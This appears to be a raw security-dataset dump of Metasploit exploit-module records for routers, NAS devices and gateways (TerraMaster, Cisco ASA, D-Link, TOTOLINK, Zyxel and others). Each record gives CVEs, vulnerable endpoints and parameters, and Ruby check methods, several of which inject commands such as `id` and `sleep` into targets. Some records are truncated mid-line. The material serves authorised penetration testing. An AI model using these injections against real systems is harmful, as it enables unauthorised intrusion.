deardaniel/secdata-raw huggingface dataset:
Metasploit Module: Symantec Web Gateway 5.0.2.8 relfile File Inclusion Vulnerability
Type: exploit
Path: modules/exploits/linux/http/symantec_web_gateway_lfi.rb
Platform: php
Disclosure date: 2012-05-17
References: CVE-2012-0297, OSVDB-82023, EDB-18932, URL-http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120517_00

Description:
This module exploits a vulnerability found in Symantec Web Gateway's HTTP
          service.  By injecting PHP code in the access log, it is possible to load it
          with a directory traversal flaw, which allows remote code execution under the
          context of 'apache'. Please note that it may take up to several minutes to
          retrieve access_log, which is about the amount of time required to see a shell
          back.

Check method (fingerprinting):
res = send_request_raw({
      'method' => 'GET',
      'uri' => '/spywall/login.php'
    })

    if res and res.body =~ /\<title\>Symantec Web Gateway\<\/title\>/
      return Exploit::CheckCode::Detected('The target service was detected')
    else
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end
Metasploit Module: TerraMaster TOS 4.2.29 or lower - Unauthenticated RCE chaining CVE-2022-24990 and CVE-2022-24989
Type: exploit
Path: modules/exploits/linux/http/terramaster_unauth_rce_cve_2022_24990.rb
Platform: unix
Disclosure date: 2022-03-07
References: CVE-2022-24990, CVE-2022-24989, URL-https://octagon.net/blog/2022/03/07/cve-2022-24990-terrmaster-tos-unauthenticated-remote-command-execution-via-php-object-instantiation/, URL-https://github.com/0xf4n9x/CVE-2022-24990, URL-https://attackerkb.com/topics/h8YKVKx21t/cve-2022-24990
Targets: Unix Command, Linux Dropper

Description:
This module exploits an unauthenticated remote code execution vulnerability in TerraMaster TOS 4.2.29
          and lower by chaining two existing vulnerabilities, CVE-2022-24990 "Leaking sensitive information"
          and CVE-2022-24989, "Authenticated remote code execution".
          Exploiting vulnerable endpoint `api.php?mobile/webNasIPS` leaking sensitive information such as admin password
          hash and mac address, the attacker can achieve unauthenticated access and use another vulnerable endpoint
          `api.php?mobile/createRaid` with POST parameters `raidtype` and `diskstring` to execute remote code as root
          on TerraMaster NAS devices.

Check method (fingerprinting):
get_terramaster_info
    return CheckCode::Safe('The target is not vulnerable') if @terramaster.empty?

    if Rex::Version.new(@terramaster['tos_version']) <= Rex::Version.new('4.2.29')
      return CheckCode::Vulnerable("TOS version is #{@terramaster['tos_version']} and CPU architecture is #{@terramaster['cpu_arch']}.")
    end

    CheckCode::Safe("TOS version is #{@terramaster['tos_version']} and CPU architecture is #{@terramaster['cpu_arch']}.")
  end
Metasploit Module: Cisco ASA-X with FirePOWER Services Authenticated Command Injection
Type: exploit
Path: modules/exploits/linux/http/cisco_asax_sfr_rce.rb
Platform: unix
Disclosure date: 2022-06-22
References: CVE-2022-20828, URL-https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asasfr-cmd-inject-PE4GfdG, URL-https://www.rapid7.com/blog/post/2022/08/11/rapid7-discovered-vulnerabilities-in-cisco-asa-asdm-and-firepower-services-software/, URL-https://www.cisco.com/c/en/us/td/docs/security/asa/quick_start/sfr/firepower-qsg.html
Targets: Shell Dropper, Linux Dropper

Description:
This module exploits an authenticated command injection vulnerability affecting
          Cisco ASA-X with FirePOWER Services. This exploit is executed through the ASA's
          ASDM web server and lands in the FirePower Services SFR module's Linux virtual
          machine as the root user. Access to the virtual machine allows the attacker to
          pivot to the inside network, and access the outside network. Also, the SFR
          virtual machine is running snort on the traffic flowing through the ASA, so
          the attacker should have access to this diverted traffic as well.

          This module requires ASDM credentials in order to traverse the ASDM interface.
          A similar attack can be performed via Cisco CLI (over SSH), although that isn't
          implemented here.

          Finally, it's worth noting that this attack bypasses the affects of the
          `lockdown-sensor` command (e.g. the virtual machine's bash shell shouldn't be
          available but this attack makes it available).

          Cisco assigned this issue CVE-2022-20828. The issue affects all Cisco ASA that
          support the ASA FirePOWER module (at least Cisco ASA-X with FirePOWER Service,
          and Cisco ISA 3000). The vulnerability has been patched in ASA FirePOWER module
          versions 6.2.3.19, 6.4.0.15, 6.6.7, and 7.0.21. The following versions will
          receive no patch: 6.2.2 and earlier, 6.3.*, 6.5.*, and 6.7.*.

Check method (fingerprinting):
res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/admin/exec/session+sfr+do+`id`'),
      'headers' =>
      {
        'User-Agent' => 'ASDM/ Java/1',
        'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
      }
    })
    return CheckCode::Unknown('The target did not respond to the check.') unless res
    return CheckCode::Safe('Authentication failed.') if res.code == 401
    return CheckCode::Unknown("Received unexpected HTTP status code: #{res.code}.") unless res.code == 200

    if res.body.include?('Invalid do command uid=0(root)')
      return CheckCode::Vulnerable("Successfully executed the 'id' command.")
    end

    CheckCode::Safe('The command injection does not appear to work.')
  end
Metasploit Module: D-Link DIR615h OS Command Injection
Type: exploit
Path: modules/exploits/linux/http/dlink_dir615_up_exec.rb
Platform: unix
Disclosure date: 2013-02-07
References: CVE-2013-10059, BID-57882, EDB-24477, OSVDB-90174, URL-http://www.s3cur1ty.de/m1adv2013-008
Targets: CMD, Linux mipsel Payload

Description:
Some D-Link Routers are vulnerable to an authenticated OS command injection on
          their web interface, where default credentials are admin/admin or admin/password.
          Since it is a blind os command injection vulnerability, there is no output for the
          executed command when using the cmd generic payload. This module was tested against
          a DIR-615 hardware revision H1 - firmware version 8.04. A ping command against a
          controlled system could be used for testing purposes. The exploit uses the wget
          client from the device to convert the command injection into an arbitrary payload
          execution.
Metasploit Module: TOTOLINK Wireless Routers unauthenticated remote command execution vulnerability.
Type: exploit
Path: modules/exploits/linux/http/totolink_unauth_rce_cve_2023_30013.rb
Platform: unix
Disclosure date: 2023-05-05
References: CVE-2023-30013, URL-https://attackerkb.com/topics/xnX3I3PEgM/cve-2023-30013, URL-https://github.com/Kazamayc/vuln/tree/main/TOTOLINK/X5000R/2
Targets: Unix Command, Linux Dropper

Description:
Multiple TOTOLINK network products contain a command insertion vulnerability in setting/setTracerouteCfg.
          This vulnerability allows an attacker to execute arbitrary commands through the "command" parameter.
          After exploitation, an attacker will have full access with the same user privileges under
          which the webserver is running (typically as user `root`, ;-).

          The following TOTOLINK network products and firmware are vulnerable:
          - Wireless Gigabit Router model X5000R with firmware X5000R_V9.1.0u.6118_B20201102.zip;
          - Wireless Gigabit Router model A7000R with firmware A7000R_V9.1.0u.6115_B20201022.zip;
          - Wireless Gigabit Router model A3700R with firmware A3700R_V9.1.2u.6134_B20201202.zip;
          - Wireless N Router model N200RE V5 with firmware N200RE_V5_V9.3.5u.6095_B20200916.zip;
          - Wireless N Router model N200RE V5 with firmware N200RE_V5_V9.3.5u.6139_B20201216.zip;
          - Wireless N Router model N350RT with firmware N350RT_V9.3.5u.6095_B20200916.zip;
          - Wireless N Router model N350RT with firmware N350RT_V9.3.5u.6139_B20201216.zip;
          - Wireless Extender model EX1200L with firmware EX1200L_V9.3.5u.6146_B20201023.zip; and
          - probably more looking at the scale of impacted devices :-(

Check method (fingerprinting):
# Checking if the target is vulnerable by executing a randomized sleep to test the remote code execution
    print_status("Checking if #{peer} can be exploited.")
    sleep_time = datastore['SLEEP']

    # check response with echo command to determine if traceroute vulnerable function is available
    res = execute_command("echo #{sleep_time}")
    return CheckCode::Unknown('No response received from target.') unless res
    return CheckCode::Safe('No valid response received from target.') unless res.code == 200 && res.body.include?('success')

    # if traceroute vulnerable function is available, perform blind command injection using the sleep comnmand
    print_status("Performing command injection test issuing a sleep command of #{sleep_time} seconds.")
    res, elapsed_time = Rex::Stopwatch.elapsed_time do
      execute_command("sleep #{sleep_time}")
    end
    return CheckCode::Unknown('No response received from target.') unless res
    return CheckCode::Safe('No valid response received from target.') unless res.code == 200 && res.body.include?('success')

    print_status("Elapsed time: #{elapsed_time.round(2)} seconds.")
    return CheckCode::Safe('Blind command injection failed.') unless elapsed_time >= sleep_time

    CheckCode::Vulnerable('Successfully tested blind command injection.')
  end
Metasploit Module: Geutebruck instantrec Remote Command Execution
Type: exploit
Path: modules/exploits/linux/http/geutebruck_instantrec_bof.rb
Platform: %w[unix linux
Disclosure date: 2021-07-08
References: CVE-2021-33549, URL-https://www.randorisec.fr/udp-technology-ip-camera-vulnerabilities/, URL-https://www.geutebrueck.com/index.html, URL-https://us-cert.cisa.gov/ics/advisories/icsa-21-208-03

Description:
This module exploits a buffer overflow within the 'action'
          parameter of the /uapi-cgi/instantrec.cgi page of Geutebruck G-Cam EEC-2xxx and G-Code EBC-21xx, EFD-22xx,
          ETHC-22xx, and EWPC-22xx devices running firmware versions == 1.12.0.27 as well as firmware
          versions 1.12.13.2 and 1.12.14.5.
          Successful exploitation results in remote code execution as the root user.
Metasploit Module: D-Link DIR-645 / DIR-815 diagnostic.php Command Execution
Type: exploit
Path: modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb
Platform: unix
Disclosure date: 2013-03-05
References: CVE-2014-100005, OSVDB-92144, BID-58938, EDB-24926, URL-http://www.s3cur1ty.de/m1adv2013-017
Targets: CMD, Linux mipsel Payload

Description:
Some D-Link Routers are vulnerable to OS Command injection in the web interface.
          On DIR-645 versions prior 1.03 authentication isn't needed to exploit it. On
          version 1.03 authentication is needed in order to trigger the vulnerability, which
          has been fixed definitely on version 1.04. Other D-Link products, like DIR-300 rev B
          and DIR-600, are also affected by this vulnerability. Not every device includes
          wget which we need for deploying our payload. On such devices you could use the cmd
          generic payload and try to start telnetd or execute other commands. Since it is a
          blind OS command injection vulnerability, there is no output for the executed
          command when using the cmd generic payload. A ping command against a controlled
          system could be used for testing purposes. This module has been tested successfully
          on DIR-645 prior to 1.03, where authentication isn't needed in order to exploit the
          vulnerability.
Metasploit Module: Ray cpu_profile command injection
Type: exploit
Path: modules/exploits/linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019.rb
Platform: linux
Disclosure date: 2023-11-15
References: CVE-2023-6019, URL-https://huntr.com/bounties/d0290f3c-b302-4161-89f2-c13bb28b4cfe/
Targets: Linux x64, Linux x86, Linux aarch64, Linux Command

Description:
Ray RCE via cpu_profile command injection vulnerability.

Check method (fingerprinting):
res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'api/version')
    })
    return Exploit::CheckCode::Unknown('Could not determine the target status') unless res && res.code == 200

    ray_version = res.get_json_document['ray_version']

    return Exploit::CheckCode::Unknown('Could not determine the target status') unless ray_version

    ray_version = Rex::Version.new(ray_version)
    return Exploit::CheckCode::Safe("Version #{ray_version} is not vulnerable") unless Rex::Version.new('2.2.0') <= ray_version && ray_version <= Rex::Version.new('2.6.3')

    @nodes = get_nodes
    return Exploit::CheckCode::Vulnerable("Exploitable: version #{ray_version} is vulnerable") unless @nodes.nil?

    Exploit::CheckCode::Appears("Version #{ray_version} appears to be vulnerable")
  end
Metasploit Module: Netis router MW5360 unauthenticated RCE.
Type: exploit
Path: modules/exploits/linux/http/netis_unauth_rce_cve_2024_22729.rb
Platform: linux
Disclosure date: 2024-01-11
References: CVE-2024-22729, URL-https://attackerkb.com/topics/MvCphsf4LN/cve-2024-22729, URL-https://github.com/adhikara13/CVE/blob/main/netis_MW5360/blind%20command%20injection%20in%20password%20parameter%20in%20initial%20settings.md
Targets: Linux Dropper

Description:
Netis router MW5360 has a command injection vulnerability via the password parameter on the login page.
          The vulnerability stems from improper handling of the "password" parameter within the router's web interface.
          The router's login page authorization can be bypassed by simply deleting the authorization header,
          leading to the vulnerability. All router firmware versions up to `V1.0.1.3442` are vulnerable.
          Attackers can inject a command in the 'password' parameter, encoded in base64, to exploit the command injection
          vulnerability. When exploited, this can lead to unauthorized command execution, potentially allowing the attacker
          to take control of the router.

Check method (fingerprinting):
print_status("Checking if #{peer} can be exploited.")
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/cgi-bin/skk_get.cgi'),
      'vars_post' => {
        'mode_name' => 'skk_get',
        'wl_link' => 0
      }
    })
    return CheckCode::Unknown('No valid response received from target.') unless res && res.code == 200 && res.body.include?('version')

    # trying to get the model and version number
    # unfortunately JSON parsing fails, so we need to use this ugly REGEX :-(
    version = res.body.match(/.?(version).?\s*:\s*.?((\\|[^,])*)/)
    # when found, remove whitespaces and make all uppercase to avoid suprises in string splitting and comparison
    unless version.nil?
      version_number = version[2].upcase.split('-V')[1].gsub(/[[:space:]]/, '').chop
      # The model number part is usually something like Netis(NC63), but occassionally you see things like Stonet-N3D
      if version[2].upcase.split('-V')[0].include?('-')
        model_number = version[2].upcase.split('-V')[0][/-([^-]+)/, 1].gsub(/[[:space:]]/, '')
      else
        model_number = version[2].upcase.split('-V')[0][/\(([^)]+)/, 1].gsub(/[[:space:]]/, '')
      end
      # Check if target is model MW5360 and running firmware 1.0.1.3442 (newest release 2024-04-24) or lower
      if version_number && model_number == 'MW5360' && (Rex::Version.new(version_number) <= Rex::Version.new('1.0.1.3442'))
        return CheckCode::Appears(version[2].chop.to_s
Metasploit Module: D-Link/TRENDnet NCC Service Command Injection
Type: exploit
Path: modules/exploits/linux/http/multi_ncc_ping_exec.rb
Platform: linux
Disclosure date: 2015-02-26
References: CVE-2015-1187, BID-72816, URL-http://web.archive.org/web/[PII_REDACTED]3927/https://github.com/darkarnium/secpub/tree/master/Multivendor/ncc2, URL-https://seclists.org/fulldisclosure/2015/Mar/15, URL-http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10052
Targets: Linux mipsel Payload, Linux mipsbe Payload

Description:
This module exploits a remote command injection vulnerability on several routers. The
          vulnerability exists in the ncc service, while handling ping commands. This module has
          been tested on a DIR-626L emulated environment. Several D-Link and TRENDnet devices
          are reported as affected, including: D-Link DIR-626L (Rev A) v1.04b04, D-Link DIR-636L
          (Rev A) v1.04, D-Link DIR-808L (Rev A) v1.03b05, D-Link DIR-810L (Rev A) v1.01b04, D-Link
          DIR-810L (Rev B) v2.02b01, D-Link DIR-820L (Rev A) v1.02B10, D-Link DIR-820L (Rev A)
          v1.05B03, D-Link DIR-820L (Rev B) v2.01b02, D-Link DIR-826L (Rev A) v1.00b23, D-Link
          DIR-830L (Rev A) v1.00b07, D-Link DIR-836L (Rev A) v1.01b03 and TRENDnet TEW-731BR (Rev 2)
          v2.01b01

Check method (fingerprinting):
begin
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path)
      })

      # unknown if other devices also using mini_httpd
      if res && [500].include?(res.code) && res.headers['Server'] && res.headers['Server'] =~ /mini_httpd/
        return Exploit::CheckCode::Detected('The target service was detected')
      end
    rescue ::Rex::ConnectionError
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    Exploit::CheckCode::Unknown('Could not determine the target status')
  end
Metasploit Module: Imperva SecureSphere PWS Command Injection
Type: exploit
Path: modules/exploits/linux/http/imperva_securesphere_exec.rb
Platform: linux
Disclosure date: 2018-10-08
References: CVE-2018-16660, EDB-45542

Description:
This module exploits a command injection vulnerability in Imperva
          SecureSphere 13.x. The vulnerability exists in the PWS service,
          where Python CGIs didn't properly sanitize user supplied command
          parameters and directly passes them to corresponding CLI utility,
          leading to command injection. Agent registration credential is
          required to exploit SecureSphere in gateway mode.

          This module was successfully tested on Imperva SecureSphere 13.0/13.1/
          13.2 in pre-ftl mode and unsealed gateway mode.

Check method (fingerprinting):
begin
      res = execute_command('id')
    rescue => e
      vprint_error("#{e}")
      return CheckCode::Unknown('Could not determine the target status')
    end

    if res.body =~ /uid=\d+/
      return CheckCode::Vulnerable('The target is vulnerable')
    end

    CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: PivotX Remote Code Execution
Type: exploit
Path: modules/exploits/linux/http/pivotx_index_php_overwrite.rb
Platform: php
Disclosure date: 2025-07-10
References: EDB-52361, URL-https://medium.com/@hayton1088/cve-2025-52367-stored-xss-to-rce-via-privilege-escalation-in-pivotx-cms-v3-0-0-rc-3-a1b870bcb7b3, CVE-2025-52367
Targets: Linux

Description:
This module gains remote code execution in PivotX management system. The PivotX allows admin user to directly edit files on the webserver, including PHP files. The module exploits this by writing a malicious payload into `index.php` file, gaining remote code execution.

Check method (fingerprinting):
res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php')
    })

    return Msf::Exploit::CheckCode::Unknown('Unexpected response') unless res&.code == 200

    return Msf::Exploit::CheckCode::Safe('Target is not PivotX') unless res.body.include?('PivotX Powered')

    html_body = res.get_html_document

    return Msf::Exploit::CheckCode::Detected('Could not find version element') unless html_body.search('em').find { |i| i.text =~ /PivotX - (\d.\d\d?.\d\d?-[a-z0-9]+)/ }

    version = Rex::Version.new(Regexp.last_match(1))

    return Msf::Exploit::CheckCode::Appears("Detected PivotX #{version}") if version <= Rex::Version.new('3.0.0-rc3')

    return Msf::Exploit::CheckCode::Safe("PivotX #{version} is not vulnerable")
  end
Metasploit Module: Zyxel parse_config.py Command Injection
Type: exploit
Path: modules/exploits/linux/http/zyxel_parse_config_rce.rb
Platform: linux
Disclosure date: 2024-01-24
References: URL-https://ssd-disclosure.com/ssd-advisory-zyxel-vpn-series-pre-auth-remote-command-execution/, CVE-2023-33012

Description:
This module exploits vulnerabilities in multiple Zyxel devices including the VPN, USG and APT series.
          The affected firmware versions depend on the device module, see this module's documentation for more details.

          Note this module was unable to be tested against a real Zyxel device and was tested against a mock environment.
          If you run into any issues testing this in a real environment we kindly ask you raise an issue in
          metasploit's github repository: https://github.com/rapid7/metasploit-framework/issues/new/choose

Check method (fingerprinting):
res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'ext-js', 'app', 'common', 'zld_product_spec.js')
    })
    return CheckCode::Unknown('No response from /ext-js/app/common/zld_product_spec.js') if res.nil?

    if res.code == 200
      product_match = res.body.match(/ZLDSYSPARM_PRODUCT_NAME1="([^"]*)"/)
      version_match = res.body.match(/ZLDCONFIG_CLOUD_HELP_VERSION=([\d.]+)/)

      if product_match && version_match
        product = product_match[1]
        version = version_match[1]

        if (product.starts_with?('USG') && product.include?('W') && Rex::Version.new(version) <= Rex::Version.new('5.36.2') && Rex::Version.new(version) >= Rex::Version.new('5.10')) ||
           (product.starts_with?('USG') && !product.include?('W') && Rex::Version.new(version) <= Rex::Version.new('5.36.2') && Rex::Version.new(version) >= Rex::Version.new('5.00')) ||
           (product.starts_with?('ATP') && Rex::Version.new(version) <= Rex::Version.new('5.36.2') && Rex::Version.new(version) >= Rex::Version.new('5.10')) ||
           (product.starts_with?('VPN') && Rex::Version.new(version) <= Rex::Version.new('5.36.2') && Rex::Version.new(version) >= Rex::Version.new('5.00'))
          return CheckCode::Appears("Product: #{product}, Version: #{version}")
        else
          return CheckCode::Safe("Product: #{product}, Version: #{version}")
        end
      end
    end
    CheckCode::Unknown('Version and product info were unable to be de